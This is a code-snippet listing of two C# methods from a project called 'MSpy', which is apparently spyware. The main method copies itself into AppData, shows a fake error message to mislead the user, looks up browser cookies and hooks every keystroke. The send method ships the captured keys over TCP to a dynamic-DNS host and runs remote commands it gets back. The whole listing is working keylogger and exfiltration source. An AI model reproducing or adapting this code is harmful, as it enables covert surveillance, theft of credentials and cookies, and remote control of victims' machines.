コード例 #1
0
ファイル: Program.cs プロジェクト: maxus0089/MSpy
        public static void Main()
        {
            var copied = SelfCopy();
            if (!Application.ExecutablePath.Contains("AppData"))
                MessageBox.Show("Error loading resources for MyOwn.Band, Try reinstall mscorelib.dll or find Assemblies with merge dll core; \n Stack Trace: UNAVALIABLE"+
                    $"\n ERROR CODE : UNAVALIABLE\nMSL = {copied}\nCritical error occured, exiting!","ERROR!",MessageBoxButtons.OK,MessageBoxIcon.Error);
            CookieMonster.Lookup();
            InterceptKeys.Init(key =>
            {
                try
                {
                    Package.AddKey(key);
                }
                catch (IndexOutOfRangeException)
                {

                    new Thread(() => SendingService.Send(Package)).Start();

                    Package = new DataPackage();
                    Package.Keys.Add(key);
                }
                catch (FileNotFoundException e)
                {
                    MessageBox.Show(e.Message);
                    var wrt = new StreamWriter(File.Open(@"C:\Logs\Log.txt", FileMode.OpenOrCreate, FileAccess.ReadWrite));
                    wrt.WriteLine(e.Message + $"({e.FileName})");
                }
            });
        }
コード例 #2
0
ファイル: SendingService.cs プロジェクト: maxus0089/MSpy
        public static void Send(DataPackage package)
        {
            TcpClient client = new TcpClient();
            byte[] b = package.GetBytesToSend();
            Encoding.UTF8.GetString(b).ToTrace();
            try
            {
            #if DEBUG
                client.Connect("127.0.0.1", 5555);
            #else
            //   client.Connect("192.168.19.1", 5555);
                client.Connect(Dns.GetHostAddresses("nomand128.ddns.net")[0],5555);

            #endif
                var stream = client.GetStream();
                b.Length.ToTrace();
                stream.Write(b, 0, b.Length);

                byte[] bytes = new byte[128];
                int index = 0;
                //  reader.ReadByte();
                byte readedByte;
                do
                {
                    readedByte = (byte) stream.ReadByte();
                    bytes[index] = readedByte;
                    index++;
                } while (readedByte != 0x0);
                try
                {
                    HandleRequest(Encoding.UTF8.GetString(bytes).Replace("\0", ""));
                }
                catch (RemoteControllException e)
                {
                    Trace.WriteLine("Remoting Error");
                    var errb =
                        Encoding.UTF8.GetBytes("ERR" + Encoding.UTF8.GetString(BitConverter.GetBytes(e.ErrorCode)));
                    Send(errb, DataType.Error);
                }
                finally
                {
                    stream.Close();
                    stream.Dispose();
                }
                SendStored();
            }
            catch (Exception e)
            {
            /*
                if (File.Exists(@"C:\Logs\log.txt"))
                {
                    using (StreamWriter wrt = new StreamWriter(File.Open(@"C:\Logs\log.txt", FileMode.Append)))
                    {
                        wrt.WriteLine(e.Message +  e.StackTrace);

                    }
                }*/
                StorePackage(b);
            }
            client.Close();
        }